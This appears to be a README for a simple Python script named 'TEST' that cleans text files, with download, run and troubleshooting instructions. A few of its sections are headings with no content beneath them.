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🧹 TEST - Clean Your Text Files Easily

🚀 Getting Started

Welcome to the TEST repository. This Python script helps you clean up your text files efficiently. You can use it to remove unnecessary data and prepare your files for further use.

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🖥️ System Requirements

To run the TEST script, ensure you have the following:

💾 Download & Install

To get started, visit this page to download the latest version of the TEST script:

Download Latest Release

  1. Click the link above to go to the Releases page.
  2. Look for the latest release.
  3. Download the script file, which will be a .py file.
  4. Save this file in a location you can easily access, such as your Desktop or a dedicated folder for scripts.

📂 How to Run the Script

After downloading the script, follow these steps to clean your text files:

  1. Open Command Line or Terminal:
    • For Windows, search for “Command Prompt” in the Start menu and open it.
    • For macOS, open “Terminal” from the Applications folder.
    • For Linux, open your preferred terminal application.
  2. Navigate to Your File: Use the cd command to change directories to where you saved the TEST script. For example, if you saved it on your Desktop, type:

    cd Desktop
    
  3. Run the Script: To run the script, type:

    python TEST.py yourfile.txt
    

    Replace yourfile.txt with the name of the text file you wish to clean. The script will process the file and create a cleaned version.

🔍 How to Use the Script

The TEST script is designed to clean comma-separated values, whitespace, and other unwanted characters from your text files. Here’s how it works:

Example Command

If your text file is named example.txt, you would run:

python TEST.py example.txt

The cleaned file will be named example_cleaned.txt.

⚙️ Features

📋 Topics Covered

This script can help with various applications:

📊 Troubleshooting

If you encounter issues while running the script, check the following:

  1. Python Installation: Ensure Python 3 is installed correctly. You can verify by typing python --version in your command line.
  2. File Names: Check if you have typed the correct name of the input file. Ensure it exists in your current directory.
  3. Permissions: Make sure you have permission to read and write in the directory where you are working.

👥 Community and Support

If you need help or want to contribute, feel free to contact or raise issues. Your feedback helps improve the application.

📅 Future Updates

Stay tuned for updates. We plan to enhance the script with more features, such as GUI support and advanced cleaning options.

Thank you for using TEST. Enjoy cleaning your text files!